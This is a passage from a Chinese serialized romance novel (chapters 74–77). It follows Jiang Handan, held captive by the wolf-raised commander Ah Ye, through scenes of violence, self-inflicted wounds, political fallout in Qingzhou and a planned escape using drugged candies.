姜菡萏挂着泪痕的脸呆住:“……” 好像,她想多了? “好了……好了……脱掉了……没有了……没事了……” 他紧紧抱着她,像抱着失而复得的宝藏,语无伦次。 属于其他男子的气息终于离开了菡萏身体,他的怀里只剩下甜幽幽的玫瑰香气。他深深吸嗅着她的头发,她的脸颊,她的脖颈……从她裸露在外的所有肌肤上贪婪地汲取熟悉的气息。 抱着不够,闻着不够,手捧着不够,鼻子也不够……他抱得越紧,心里面便越是恐慌,她像是他被握在掌心里的沙子,他握得越紧,她便流失得越快。 可他没有办法松开,只要松开,她就会逃! “嗷呜!” 姜菡萏的耳畔传来一声低嚎,阿夜猛地推倒她,单手掐住她的咽喉。 “为什么……为什么要逃……”阿夜的声音破碎,带着压抑至极的痛苦,“菡萏,为什么要从我身边逃走?他除了是风家的人,还有什么好?!为什么……为什么一定要去找他?!” “咳咳咳……”姜菡萏用力想从他手下拯救自己,吃力道,“我早就告诉过你,我是姜家的嫡女,我就是要嫁给姓风的皇帝!” “我可以杀了他,去做皇帝!” “我不要!”姜菡萏声音尖利到自己都不认识,她的胸膛像是要炸开,“我活这辈子就是不想看打仗,阿夜,如果你非要为我开战,不如现在就杀了我!” “你不要以为我的不敢!” 阿夜的嘶吼声回荡在小楼,“我要杀了你!杀了你!” 她拼命向着许南风奔去的背影像刀子一样捅向他的心,每回想一遍,他的心就要被捅穿一遍。 他无法忘记那一幕,心脏便被反复凌迟。 太痛了! “来啊!杀了我!”姜菡萏嘶声大喊,“与其被你这样关在笼子里,我还不如去死!” 凶性在阿夜体内膨胀,一瞬间他的眼前一片血红。身为野兽时的杀戮本能、身为兽奴时的疯狂绝望,在这一刻悉数爆发。 杀了她! 他的手上用力——可是,力气仿佛被一道看不见的屏障阻挡,所有的力量全绷在手掌与指尖,明明手下的脖颈纤细得一捏就断,可汹涌的力量就是无法落在她身上。 他做不到! 他就是做不到! 所有的痛苦、疯狂、怨恨、愤怒、绝望……像是一头野兽从身体内部撕咬着他。痛苦到了极处,人的理智与意志被兽的本能所压制。这么多年他乖乖听她的话读书写字、训兵卫国,他努力学着做一个“人”。 是她把他从兽变成人的,可也是她把他从人变成兽。 他松开手,直起身,仰天发出长嚎。 澹园中的狼群纷纷应和,狼嚎声此起彼伏。 如果姜菡萏听得懂狼嚎,就会知道这是头狼和猎物进攻的信号,这声狼嚎意味着不死不休。 她听不懂,她只从这一声嚎叫中听出了他的痛苦和不甘。 “阿夜,放过我……”泪水从她脸上流下,“放过我,也放过你自己……” 阿夜在黑暗中低下头,重重咬在她的脖颈上。 她一下痛呼出声。 然而这声音仿佛刺激到他,阿夜发出一声闷哼,身子颤抖了一下,然后,咬在姜菡萏颈边的唇齿渐渐收了力道,唇舌代替了牙齿,深深地舔着被自己咬过的地方。 啃咬变了味道,嘴唇与舌头与鼻子更好用,更能缓解他心中永远也无法满足的渴望。 “阿夜……” 姜菡萏叫着他的名字,努力想唤回他的理智。 但他已经没有理智了,他只有疯狂和恐惧,他只想一遍又一遍确认她在,她没有离开,没有扔下他。 她在他身边,在他眼前,在他怀中……他毫无章法地吻着她,吻到她颤抖的眼睛,吻到她脸上泛着咸味的泪痕,吻到她花瓣一样柔软的双唇,他无法停止,像蝴蝶无法停止吸吮花蜜。 怎么能停下来呢?蝴蝶本就以此为生。 她在……她在……她没有走……她在! “菡萏……” 他的声音里带着呜咽,像蝴蝶深陷在花海中,无法分辨这一刻是痛苦、是绝望、还是快乐。 姜菡萏身上的被子早已扯开,露在外面的皮肤上传来湿润温热的触感,那是……眼泪吗? 黑暗中空气潮湿灼热,帐内传来破碎的低语。 “菡萏,不要走……” “求求你,不要走……” “不要扔下我……” “你答应过我的……永远不会扔下我……” 第75章 第75章杀了我,你就自由了 “我没有……我没有……” 姜菡萏昏昏沉沉,脸上的泪痕还没有干,混乱地喃喃。 她怎么会扔下他?他就像她的影子,人怎么可能离开自己的影子? 阿夜抱得太紧了,身体又那么烫,他不断地吻着她,姜菡萏觉得他是一阵阵汹涌的海浪,而自己则是被浪拍在岸上的鱼,所有力气只能用来喘息,根本说不了话。 只能模模糊糊地想,到底是谁求谁?明明是她被关在这里不得自由,他却说得这么可怜,好像是她囚禁了他似的……分明是颠倒黑白。 她恨恨地想捶他一下,最终却变成了软绵绵的攀驸,直到她在他背上摸到一点坚硬的东西。 “!” 刹那间浓稠如醉的空气消散,姜菡萏睁开了眼睛。 这是……箭杆! 已经被斩断过,只剩短短一小截,深陷在肌肉中。 那漫天的箭雨没有伤到她,是因为他替她挡了。 “阿夜!”她猛地大叫。 阿夜的手紧紧掐着她的腰,意乱情迷,半是沉醉,半是痛苦,像是没听见。 姜菡萏猛地缩起身子,喊了一声“痛”。 阿夜的动作僵住,艰难地抬起头。 室内幽暗,姜菡萏看不清他的脸,只听见他的呼吸异常急促,好一会儿才稍稍平息些,撑起身体。 “哪里痛?”他的声音沙哑极了。 滚烫的身体离开姜菡萏,姜菡萏重新呼吸到深秋清冷的空气:“我不知道,你点灯瞧瞧。” 阿夜去找火折子,但他整个人好像还有一半陷在梦中,下床的时候一个踉跄,险些摔倒。 空气里浮动着玫瑰香,还有血腥气。 姜菡萏鼻子有一点酸——他那么灵的鼻子,竟然没有闻出血腥气不是她的,而是他自己的。 她从枕下摸出火折子,轻轻一吹。 光亮像水一样盈满室内,黑暗被驱散。 阿夜回头,看到那一团的火光映照着姜菡萏的脸,她的脸像是在业火中绽放的圣莲。 这一幕和多年前在丹房那一幕重叠,那时他还不会说话,没有人把他当人看,包括他自己,只以为自己是狼。 是她教会他用火折子,是她教会他说话,是她教会他如何当一个人。 她就是他唯一的神。 而此刻,她的衣衫凌乱,脖颈上还留下了掐痕,她的眼中含着一层薄薄的泪光,在他回头的那一瞬,泪水落下来。 她终于看清了他的伤势,除了肩头留下的枪伤,他的后背共有三处箭伤,鲜血已经浸透了黑衣。 她早该想到的,他再厉害也是个人,那样的箭雨没有任何人能全身而退。 她的泪珠划过火光,晶莹如叶上露,天上星。 阿夜整个人晃了晃,双膝落地,跪在她的面前。 他……做了什么? 他对她做了什么?! 自从救回阿夜,金创药就成了姜菡萏身边必备的东西,她点上灯,迅速找到药,很有经验地把衣料剪开,露出底下的箭簇。 这箭簇和她以前见过的都不一样,它更加狭长、尖利,倒钩已经陷进去一半,若是像之前那样徒手往外拔,势必会带来更严重的外伤。 就在这个时候,阿夜伸手摸到了外面那截剩下的箭杆。 “不行,不能拔,一定得找——” “大夫”两个字还在喉咙里,姜菡萏就看见阿夜的手用力——用力把整个箭簇按进身体里! 姜菡萏忍不住尖叫。 阿夜全身的皮肤都因这一下而沁出一层薄汗,黑发漉湿。 他低声喘息,手伸向第二支。 姜菡萏抓住他手:“你疯了吗?!” “这是我该得的。”阿夜看着她,脸色苍白如死,黑发与黑眸浓深如黑夜,“菡萏,我这样对你,我该死。” 即使是失血中的阿夜,力量也不是姜菡萏能抗衡的。哪怕姜菡萏用尽全力,他的手还是一寸寸接近第二支箭簇。 “笨蛋,笨蛋!”姜菡萏眼中急出了眼泪,“你知道错了,你就改啊!你放我出去不就好了吗?!” 第二支箭簇深陷进血肉中,血流如注,沿着被汗水打湿的背脊一直渗进地面的红茸毯中。 阿夜全身绷紧,无声地仰起头。 良久,他低下头看着姜菡萏:“我做不到……菡萏,你杀了我吧,我死了,就不会再拦着你了。” 疯子!这个疯子! 姜菡萏仆上去抱住他的手,在他握住箭簇时重重咬在他的手掌上。可第三支箭簇还是一点点扎了进去。她嘴里尝到腥甜的滋味,不知道是她咬出来的血,还是他伤口流出来的血。 她的泪水止也止不住,泪混着血,又苦又腥又咸。 “菡萏……看到了吗?刀在那儿。”阿夜已经无力抬头,只能用视线告诉她。 刀在楼梯口,他上楼时随手扔在一旁。 “拿过来……杀了我……”阿夜低着头,声音很低,“杀了我,你就自由了……” 这句话说完,他摇摇欲坠的身体终于倒下。 “笨蛋,笨蛋,笨蛋!” 姜菡萏从来没有这样恨过,也从来没有这样哭过。酸甜苦辣在胸膛里揉作一堆,心脏好像已经被揉碎了。 * 严何之最近天天来找李思政下棋。 李思政本就勤勉,每天都在官署中待天黑,这些天更是直接待到深夜,两人才离开官署,各自归家。 他们在等。 无论是澹园还是庆州,人们对阿夜的忠诚崇拜都超乎想象。若是计划成功,小姐离开,断了线索,他们也许还能保住小命。可是现在计划失败,小姐被带回澹园,在阿夜的威压之下,没有人能扛得出不招认。 澹园安静,是因为阿夜这些天在养伤。 等到阿夜养好了伤,就是向他们清算的时候。 这日是两人下棋的时候,林知春向他们送来园中最后一茬柚子。 中秋和重阳都在兵荒马乱中度过了,风中的寒意越来越深,经霜的柚子最甜,两人却是食不知味。 “二位为何会相助姜小姐?”林知春开门见山地问,“陛下垂危,太子年幼,天下正需要一位强主。而天下最强的人莫过于夜统领。若是娶了姜家嫡女,夜统领便可以得到半璧江山,到时一统天下,指日可待。二位都是人杰,为何偏要与夜统领作对?” 李思政与严何之久在庆州,深知林大任能有今日,皆是林知春在背后筹谋。两人叹了口气,李思政道:“知遇之恩,不能不报。” 两人早已聊过,他们二人虽然身中进士,但若是没有姜小姐,严何之已经化身人丹,李思政也只能一生沉沦下僚,毫无抱负可言。 林知春:“二位若是能答应我一件事,我愿为二位在夜统领面前求情。” “什么事?” “助我嫁入澹园,与姜家小姐共侍一夫。” 李思政与严何之互相看了一眼,这种忙,他们怎么帮? 说话间,林大任忽然急急走来:“来了来了,澹园来人了,是郭校尉!” 郭俊是阿夜身边老人中的老人,心腹中的心腹,很多时候郭俊即代表着阿夜本人。 不多久,郭俊大踏步入内,身后的玄甲军全副武装,天阴欲雪,铠甲生寒。 李思政与严何之心中一凛。 来了。 李思政:“严兄,这一局是下不完了,来世再续吧。” 严何之:“来世你照样得输给我。” 李思政哈哈一笑。两人同时站起来,整了整衣冠。 士为知己者死,他们死而无怨。 他们的目光庄严,望着郭俊走近。 郭俊向他们点点头,然后走向一旁的林知春。 李思政:“……” 严何之:“……” 郭俊:“林小姐,我奉统领之命,来追究你的罪责。” 林知春讶异:“我何罪之有?” “半个月前,姜小姐离府,你向他人走漏消息,以泄漏军机处置。”郭俊的声音没什么起伏,“按罪当斩,但念及知府与你兄妹情深,统领网开一面,若是不想死,就随你兄长返回家乡,永世不得踏入庆州。” 所有人呆住了,林大任更是慌作一团:“这、这这是从何说起?我、我也要返乡吗?我、我可是朝廷命官!” “刷”地一声,玄甲军长刀出鞘,映着天光,冰冷雪亮。 郭俊重复着他追随阿夜以来最经常宣读的命令:“如有不从,格杀勿论。” 阿夜连朝廷都没有放在眼里,朝廷命官又算什么? 生死面前,一切都是小事,林知春不敢相信,大喊着要去见阿夜问个清楚。林大任叫道:“祖宗,现在走还能保住身家性命,若是去找他,那就是找死!长河!快快把她带走!” 林家乒乒乓乓地收拾行装,李思政和严何之难以置信:“郭校尉,夜统领没说怎么处置我俩。” 郭俊:“尽忠职守,官加一等,俸禄加倍。” 李思政和严何之越发迷茫。 尽忠? 他们背着阿夜帮姜小姐逃跑,属于尽忠? 尽谁的忠?向谁尽忠? 郭俊没有再说话,押着林家兄妹离城。 城门大街那一段,正是姜菡萏当初来庆州时,阿夜带着他们跪立恭迎之处。 早在那一日,阿夜已经向所有人宣布了答案——真正的庆州之主,另有其人。 * 庆州的冬天来得很早,阴沉的天空中落下茫茫雪花。 小楼烧起地龙,温暖如春。 阿夜的伤势已经好转许多——至少看起来如此。 他再也没有踏入过楼上,但每晚都会在门外守夜。 大夫告诫他应该静养,他置若罔闻。 姜菡萏既心疼他的伤势,又恼恨他的顽固,同时又忧心眼下的局势。 庆州封闭,便意味着北疆的商路堵塞,南方的商人无法获得北方的皮草铁器,北方的商人也无法获得南方的茶叶与丝绸。 北疆各州一拔又一拔的人来到庆州商谈。 林大任走后,李思政成为实际上的庆州知府,他在阿夜、北疆、与许南风之间多方周旋,终于暂开城门,打通了商路。 但城门每日只有两个时辰开放,因为两边的战事犹未停歇,许南风与阿夜谁也不肯让步。 更多的人看到了玄甲军的强大,前来商谈的北疆人当中并非全为商路而来,依附强者去谋夺更大的利益,是乱世之中的人们最常做的事。 这场战争若是不能早点结束,早晚要酿成大乱。 经历过乱世的姜菡萏感受到一股风雨欲来的气息。 这日,一行人越过镇海军的防线,来到庆州城下。 其中有男有女,有老有少,驾着好几辆马车,每一辆马车都装得满满当当,不仅有衣物吃食摆件,还有各种药材。 “烦请通禀夜统领,”为首的年轻男子清瘦透逸,“顾晚章来给小姐送点东西。” 第76章 第76章求之不得 半个时辰前,姜家府兵的营帐中。 “我也要去!!我都多少天没有见过妹妹了,也不知道那畜生有没有欺负她!” 姜祯说起就恨,“那天就差一点点……就差那么一点点,我们就能把她救回来了!” 许南风低头,满脸沉痛。 是的,就差一点点……他的指尖甚至已经碰到了姜菡萏的指尖。 可那道黑衣玄甲的身影像妖魔般出现,掠走了他的妻子! 顾晚章道:“家主大人若是落在阿夜手中,他岂不又多了一个筹码?朝廷就更加投鼠忌器了。” 许南珠与他一路同行过来的,此时开口道:“可是顾大人去,一样也会落在他手里。” 顾晚章:“我比诸位更早认识那位玄甲修罗,他根本不想看见我出现在他面前,事情办妥,我定能全身而退。” 许南风道:“姐姐,你也不能去。我跟他已是死敌,你去了他会迁怒于你。” 许南珠点点头:“我知道,我本就是来看看你的。” 顾晚章带着队伍前往城门,许南风带着姐姐回到自己的营帐。 军中艰苦,许南风心系姜菡萏安危,憔悴了不少。许南珠做了他爱吃的红豆糕,许南风尝了一块,忽然道:“她给我做过一回甜羹……里头什么都放,我当时还嫌难吃。姐姐,我真蠢,她是姜家嫡女,十指不沾阳春水,愿意为我洗手做羹汤,我竟然还嫌难吃。” 许南珠叹了口气,知道此时所有言语都是苍白的,她轻轻摸了摸弟弟的头,问道:“父亲可有交代你什么?” “我来得急,父亲没来得及交代什么,他倒是交代了副将,说不计一切代价也要除掉阿夜,可这个代价绝不能是菡萏!” 许南珠细问那日情形,许南风一一答了,许南珠良久不语。 “姐,怎么了?” “阿风,你想过没有?当初是因为单诚传来消息,说姜家在打听我们,所以父亲才派我们来京城。”许南珠微微皱着眉头,“那,父亲那么早就派了单城来京城,是因为什么?” 许南风怔住。 * 澹园,丹房。 丹炉中火烧得正旺,丹鼎中的朱砂已经全部炼成了水银。 澹园中并不缺硫磺,但姜菡萏不想炼制火药,只能重拾昔日的爱好打发时间。 无论庆州玄甲军还是姜家府兵,她都不想看到他们受伤。 自从她逃过一次,不管做什么皆有玄甲军随同,此时丹房外就被围得里八重外八重。 忽地,重重人影后,郭俊带着一队人走向丹房。 姜菡萏本是懒洋洋抱着膝盖,忽然见看到了郭俊身边的顾晚章,然后是顾晚章身后的苏妈妈,还有阿喜、阿寿、阿禄,甚至还有阿福! 姜菡萏一下站起来,冲出门外。 玄甲军守卫归守卫,除非她离开澹园,否则他们从不敢拦着她,此时齐刷刷让开一条道路。 “小姐!” 苏妈妈带着侍女们围着姜菡萏,个个热泪盈眶。 苏妈妈拉着姜菡萏的手,上下打量。和她想象中面容憔悴形销骨立不同,姜菡萏肤白胜雪,面颊因为奔跑而透出一点红晕,眼前的小姐恰如一朵在雪中绽放的梅花。即使是以最挑剔的目光,苏妈妈也不得不承认阿夜那个畜生把小姐养得很好。 但骂还是要骂的。 “恩将仇报的东西,那么冷的雨就把小姐往外带……小姐的身子别人不知道,他还不知道吗?哪次淋雨不生病?苦了我的小姐了,又没个贴心的人在身边……” 姜菡萏在苏妈妈的絮叨里脸上微微发烫。也许是因为那碗浓浓姜汤,也许是因为那个夜晚太混乱……根本没空生病。 她的作息阿夜比谁都清楚,侍女们陪着她早晚各散一趟步,在澹园四处逛逛,还能练练箭——那张小弓没带来,阿夜又做了一只新的给她。 现在苏妈妈等人来了,原本在小楼中伺候的侍女们顿时退位让贤,把贴身的功夫都交给阿福等人。 姜菡萏问阿福为何会过来,阿福红了眼圈:“我眼睁睁看着小姐被掳走,未见小姐安泰,怎能安心回梁州?” 姜菡萏的心顿时变得软软的。虽然眼下的情形还有些糟糕,一场因她而起的战事尚未结束,但至少上一世的惨剧没有发生,她想要保护的人都活得好好的。 但是……她们都来这里了,到时候逃起来就更麻烦了! 顾晚章做事向来必有后招,她要和顾晚章好好聊一聊。 只是顾晚章乃是外男,不能入小楼,原先的侍女很快传话回来:“统领说,小姐可以在书房见顾大人。” 姜菡萏裹着狐裘,坐着暖轿去书房。 自从那日和林知春下过棋,她就再也没有来过这间书房。 外面下着雪,虽未天黑,书房内仍是幽暗,窗前点着灯烛,昏黄光芒照着棋枰,棋枰上没有棋子,放着几本账本。 顾晚章从旁起身,像从前那样向她行礼:“见过小姐。” “大人已经是正三品侍郎,大人的礼,我当不起了。”姜菡萏快走几步,正要扶起他细问京中详情,眼角余光忽然瞥见前面书案后还坐着个人。 澹园只有小楼中的陈设处处精雅富丽,一如京城所崇尚的繁华奢靡之风。其它地方俱是只讲究一个实用,比如这澹园之主的书房中,连一架七宝树灯都没有,只用一盏铜灯照明。 铜灯搁在棋枰上,光芒只照亮周遭三尺,三尺外朦胧昏黄。 阿夜便是坐在那片余光难及的昏暗中,黑衣,披发,一动不动,面沉如水,没有一丝表情,也没有一丝动静,像一尊雕像。 从那夜之后他就是这样,好像生怕自己靠近他就会弄伤她,恨不能做个铁罩子把自己罩起来。 但同样的,无论姜菡萏说多少次想走,他也当听不见。 姜菡萏看见他就无法保持平静,一时觉得他像头可怜的大狗子,想摸摸他的脑袋,一时又觉得,他哪里可怜了?他分明是这世上最最可恶的人! 此时她将头一扭,就当看不见他,在窗前坐下来。 此时的京城百废待兴,姜菡萏名下的米行善堂正是最为热闹之处,各家占股子的脂粉行重新开门做生意,京城撑过了鬼门关,开始恢复生机。 朝廷急需有用之材,姜菡萏曾经送出去的不记名官凭散落在各地州郡,实干之才们积累了经验,各自得到了升迁的机会,有多数被提拔到京城。 大战初定,不时有流寇作乱,但有许崇义镇守京城,一切无虞。 唯一的麻烦是,养兵太费钱了。 大央的国库早已经被掏空,四五万镇海军每一天光是吃喝是一笔大数目,更别提此时还在庆州城外作战,军需抚恤一样都不能少,作为户部侍郎,国库每天花出去的银子像流水一样。 总而言之,这场仗真的不能再打下去了。 这句话顾晚章没有直接说出来,但姜菡萏很明白,这就是顾晚章真正的来意。 “让许南风退婚、退兵。” 一直不曾说话的阿夜忽然开口。 “……”顾晚章,“……是你抢了人家的妻子。” “那便不死不休。”阿夜面无表情,“若无他事,你可以走了。” “……我早猜到了,小姐都没办法改变的事,我来这一趟也没什么用。”顾晚章叹了口气,起身,拿起账本交到姜菡萏手里,“这些我已经带到了,小姐得闲便好好看看吧。” 顾晚章离开的时候,两名玄甲军上前搜身。 顾晚章一脸忍耐,却没有表现出意外,显然来的时候已经经历过一次。 玄甲军将他从头搜到尾,确定没有多出任何一件东西,才放顾晚章离开。 姜菡萏冷声道:“我俩就在你面前聊的天,若是有什么私相授受,你难道看不见?” “我看得见。”阿夜低声。 我看得见你的目光落在他身上,充满温和与信赖。 我看得见他的视线一直很克制,只有偶尔的偶尔,才会看向你的眼睛。 他在想什么,我比谁都清楚。 姜菡萏:“你看得见,为何还要如此羞辱他?” 阿夜:“当然是因为他不怀好意。” 这话姜菡萏反驳不了。顾晚章代表着朝廷,朝廷现在对阿夜这个叛军自然没什么好意。 但还是生气。 明明从前她每一次看见阿夜就像是看见春末绿树抽芽,只有欢喜与快乐,为什么会变成现在这才,一看见他,心就满是焦灼,动荡难安? 只要站在他的身边,她就觉得自己好像站在了悬崖前,随时都有粉身碎骨的危险。 为什么?为什么他们不能像从前一样?她无比怀念从前的时光——在春夜的微风里、夏夜的虫鸣中、秋夜的月光下、冬夜的雪色里,只要她一推开窗,他就会仰头向她露出一个明净的笑容。 “那是因为你不怀好意在先!”姜菡萏大声道,“你若是不挑起这场战争,朝廷只会给你加官进爵!” 阿夜:“加官进爵?我不需要那些东西。” 姜菡萏已经不会再问他需要什么了,她已经问过很多遍了。 他的答案只会有一个。 ——“你。” 姜菡萏满心暴躁:“行,你就这么关着我吧,关到地老天荒,我们两老死为止!” 她拂袖而去。 离开的时候动作很大,仿佛这样就能掩盖心里的难过和眼角的泪痕。 为什么会变成这样?她依然不明白。 她明明想问他的伤口有没有好一点……可他们之间好像充满了尖刺,哪怕是最简单的问候都难以出口。 书房寂静,只剩阿夜一人。 “地老天荒,白头偕老吗?” 阿夜低低地笑了,笑声在无边的孤寂地洇开。 那他可真是……求之不得。 “统领,”郭俊出现在门口,“您叫我?” 阿夜静了片刻,从书案抽屉里拿出一只锦盒,“这个,放回去。” 郭俊:“可这个……您不是说不妥当吗?” “不妥才好。”阿夜低声道,“我等着。” * 这次带来的东西很多,足足有好几马车,苏妈妈带着侍女们整理了好几日才完。 苏妈妈原本以为庆州一片荒凉,澹园要什么没什么,哪里知道小楼里的东西样样齐全,全是姜菡萏用惯的样式,她带来的这些全派不上用场。 但苏妈妈还是很努力地把带来的东西塞满了小楼。 这天夜里,许南风攻城,阿夜迎战,没有在门外守夜。 苏妈妈再三确认这一点,从层层箱笼里翻出一只锦盒,郑重地交给姜菡萏。 姜菡萏打开一看,里面全是玫瑰糖。 “这是顾先生悄悄交给我的。”明知阿夜不在,苏妈妈还是压低了嗓子,“这里面有两颗里头下了迷药。一颗下给阿夜,一颗下在井水里头给那些玄甲军,咱们就能逃出去了!” “!” 顾晚章果然有后招! 只是姜菡萏随即想起:“可是,阿夜不怕迷药。” 早在刚被带回西山别院那会儿,迷药对阿夜就不起作用了。 “小姐放心,这药是许侯爷从东夷人那里弄来的,据说就算是一头大象吃了也会晕过去。” 东夷人善驭兽,东夷人的迷药说不定更厉害些。许崇义是乱世枭雄,他说能迷倒大象,应该真的能迷倒。 姜菡萏挑出被做了记号的两颗,剥开糯米纸,仔细闻了闻,入鼻只有玫瑰香,别无其它气味。 无色无味,应该可行。 * 夜晚的战事很快结束。 两边对峙的时间越久,对双方的应战布局就越熟,每一次对阵都毫无悬念。 城外的人冲不进来,城内的人也杀不出去。 两边渐渐陷入僵局。 但庆州最近来了一些新客人。 他们来自北疆,认为天下合久必分,大央气数已尽,世间当有明主,于是带着部下向阿夜投诚,深深渴望能追随阿夜建功立业。 可阿夜一直把他们晾在一旁,从来没有让他们上阵杀敌的意思。 今夜一战,这几日照旧在城头观战,收兵之后,几人跟在阿夜身后,道:“统领威名盖世,所缺者不过是兵马粮草而已。现今我等自备粮草,带着兵马相助。只要统领一声令下,我等便会随着统领全力冲锋,定能将外面那些人杀得片甲不留。到时直取京城,登上宝座,指日可待!我等皆愿奉统领为明主,匡扶——” 阿夜蓦然回身,雪亮的刀尖停在他的咽喉,把他底下的话全逼了回去。 阿夜没有开口,但冰冷的眼神已经让所有人都明白了他的意思——再多说一个字,就去死。 郭俊给他们找了个台阶:“战事初歇,统领要与我等商议军情,各位请避。” 没人敢在玄甲修罗的刀前说半个“不”字,有玲珑些的忙说自己等人不该打扰,便要退下。 “站住。”阿夜忽然开口,望向那些人身后,也尖一点,“那个,留下。” 所有人都站住了,这些人里面,有领着朝廷俸禄的州郡将领,也有自己招兵买马的富家子弟,还有落草为寇的响马沙匪……他们来处不一,装束不一,身边的随从也是有老有少,有文有武,各各不同。 阿夜刀尖所指的,是一名富家少爷身边的老仆人。 老人头发花白,但腰杆笔直,见阿夜的视线落在自己身上,愣住,露出不知所措的表情。 少爷道:“这是我的老仆,统领要留他作甚?”不由想到关于玄甲修罗的种种血腥传言,少爷开始瑟瑟发抖。 阿夜面无表情:“他不是你家的。” 原本有些慌张的老人忽然一笑:“我还为没人发现得了我,没想到还是给你瞧破了。你小子到底还是有几分真本事。” 老人说着,朝脸上抹了抹,露出一张不怒而威的苍劲面容。 少爷:“……你谁啊?!” 郭俊却是呆住。 这……赫然是敬老王爷。 第77章 第77章做人,很甜啊 敬王年少时好结交江湖人士,学了一手易容之术,据说当年易容成其它兄弟的模样去见长庆帝,长庆帝都没有发觉。 这项本事他已经多年没有动用,再次用上时十分谨慎,并没有挑选澹园中人,怕阿夜看惯了瞧出破绽,特意挑了现在这么个身份,谁知道竟还是一眼就被阿夜瞧破。 敬王再三追问自己是哪里露出的破绽。 阿夜没有理会,把敬王带回澹园,送进小楼。 他把敬王送进小楼的动作就和他之前送各式礼物一样——果然,姜菡萏看见敬王,又惊又喜:“老王爷!” 但转即又紧张起来,狐疑地看着阿夜——难道他夜袭京城,把敬老王爷抓来了? 阿夜的眸子本已因她露出来的笑容而被点亮,此时那点微弱的光芒很快消失,他转身走开。 片刻后,敬王坐下喝着热茶,把自己的打算和盘托出。 眼见时间越拖越长,小小庆州久攻不下,京城亦是难安。更何况承德帝病重,太皇太后年高,风明又是个半大不小的孩子,难堪重任,眼下的朝廷看似风平浪静,其实底下暗潮汹涌。 敬王本想亲自来打探一下敌情,知己知彼方能百战百胜,只可惜他还未看穿阿夜的布防,自己倒是被阿夜看得透透的。 “大概是气味吧。”姜菡萏推测,“阿夜的鼻子很灵,闻过的气味一般不会忘记。” 敬王瞠目结舌。 ……还能这样?! 姜菡萏也把自己的计划告诉敬王。 迷药的效果到底如何, 姜菡萏心中也没底,迷药也许能迷倒一头大象,但阿夜可不是大象。 无论如何,精神矍铄的敬王都是一个强援,起码在逃跑的时候,比她和侍女们顶用多了。 敬王沉吟:“可他的鼻子若真的那么灵,万一闻出迷药,该当如何?” “……这些东西送进来之前,阿夜亲自检查过,显然是没查出什么不妥。” 敬王点头:“那就好。任何药物发作都有时间,万一被他发现你给他下药,他大怒之下,一只手就能要你的命。不如……我陪你一道去。本王虽已老朽,至少能保你安稳。” “谢王爷。”姜菡萏道,“我一个人可以。” 多一个人,说不定反而会坏事。 * 三天后的清晨,姜菡萏睁开眼,发现窗上一片晴光。 这是庆州入冬后久违的晴天,地上、屋顶上、树上……到处铺着一层厚厚的雪,天蓝得让人晕眩。 “今天有没有战事?”坐下梳妆的时候,姜菡萏问苏妈妈。 “没有。”苏妈妈低声道,“今天一早他便去了书房,一直待在里面,这会儿还在。” 姜菡萏的手微微顿了一下。是的,就是今天。 苏妈妈接过梳子,亲自为姜菡萏梳头。 发髻梳得繁复华丽,戴上钗环之后,镜中的人美得不可方物。 姜菡萏回过神来,一呆:“不用这样。” 苏妈妈含泪道:“小姐,那人不是人,给他下药,就是与虎谋皮,你打扮得好看些,迷乱他的心神,机会便更大些。” “真不用。”姜菡萏再次道。 苏妈妈只得拆了发髻,姜菡萏吩咐她只用丝带将头发松松束在背后。 这是她在别院时最常做的家常打扮。 苏妈妈低声告诉她,小厨房已经做好了几样点心,还泡了一壶好茶。 毕竟光秃秃送一颗糖总是有些奇怪,但掩藏在一桌点心里就会好很多。 姜菡萏一直望着窗外,苏妈妈觉得小姐有几分魂不守舍,心中怜爱,又低低叮嘱她如何装作平常的样子,不要让阿夜看出端倪。在苏妈妈心里,小姐永远是那个爱发呆的小娃娃,怎么做得来这样的事情? “唔,”姜菡萏点点头,也不知有没有听进去,起身道,“我先去厨房看看。” 小厨房就在小楼旁,因为天气渐冷,为免菜肴冷在半路,阿夜让人在小楼旁的房子里布置了一间厨房,专门拔了厨娘杂役,听候差谴。 厨房里热汽腾腾,厨娘将做好的点心放进食盒里保温。 姜菡萏让厨娘找些食材,红豆、桂圆、红枣、核桃、枸杞、百合、莲子、甘草、黄芪……她仔细回忆,还是记不全那碗海纳百川的甜羹中所有材料,最后干脆把厨房里有的都搬出来。 然后她让厨娘和苏妈妈她们都出去,她挽起袖子坐下来,开始给红枣去核。 其他都好办,只有核桃最麻烦。上一次是阿夜帮忙剥的,这会儿她发现自己不可能把它捏开之后,起身准备找工具。 就在这个时候,一只手伸过来,接过她手里的核桃,轻轻一捏,“咔”地一声轻响,坚硬的核桃壳碎了。 姜菡萏回头,看见阿夜站在她面前,逆着光,低头剥出核桃肉:“为什么不让厨娘做?” 他人虽不大出现在姜菡萏面前,但澹园的人都是他的眼线,他随时都能知道姜菡萏在做什么。 姜菡萏也因为这一点特别恼他,说话不由自主就气鼓鼓的:“不想。” 阿夜没有抬头,开始捏第二颗核桃:“你想他了吗?” 他的声音很轻,但手里的核桃“啪”地一下碎成了渣渣,不能用了。 姜菡萏心里有点软软的,他低着头,眉峰凌厉,从额头到鼻梁一片苍白,好像从上次受伤之后,他的脸色就一直没有养回来。 “这是给你做的。” “啪”,阿夜愕然抬头,手里的第三颗核桃碎成了渣渣。 “去年答应过今年要给你过生辰,可惜今年没过成,想着给你补上。”锅里的水已经烧开了,姜菡萏把食材全放下去,抬头就见阿夜愣愣地看着她,像是不敢相信自己的耳朵。 “核桃好了吗?”姜菡萏问。 阿夜猛然回神,迅速剥出几颗,捧到她面前,“好了。” 核桃入锅,姜菡萏盖上锅盖,守在灶前添柴。 窗外晴光雪亮,灶内柴火烧得旺旺的,她穿着一身淡绿衣裳,长发束在背后,只余两缕飘落在颊边。 一时间,阿夜好像回到了别院。那个时候没有战争,没有许南风,只有他和她两个人。 他在姜菡萏身边坐下,黑色的衣袖轻轻碰触到她浅绿色的衣袖。 厨房里一片安静,锅里热汽蒸腾。 姜菡萏回头看着他,他的睫毛飞快颤动两下,然后抬起眼睛。 他的瞳仁漆黑,眼中没有一丝攻击性,只是不再像从前那样清澈平和,变得深沉,而且有丝哀伤。 看上去就像一只被主人遗弃的大狗。 姜菡萏毫不怀疑,现在她掏出那颗玫瑰糖,他一定会吃下去。 “阿夜,熬这个甜羹要很久。” 阿夜点头。再久他也愿意等。 “你还想我做些什么?”过去好像从来都是阿夜陪着她,陪她炼丹,陪她说话,陪她做一切。 阿夜眼中有久违的神采闪动:“什么都可以吗?” 姜菡萏警觉了一下,她在心软的时候总会忘记现在的阿夜已经不再是从前那个单纯的阿夜了。 “你说说看。” “我可以和你骑马吗?就像,那次炸风曜时一样。” 姜菡萏愣了一下才明白。 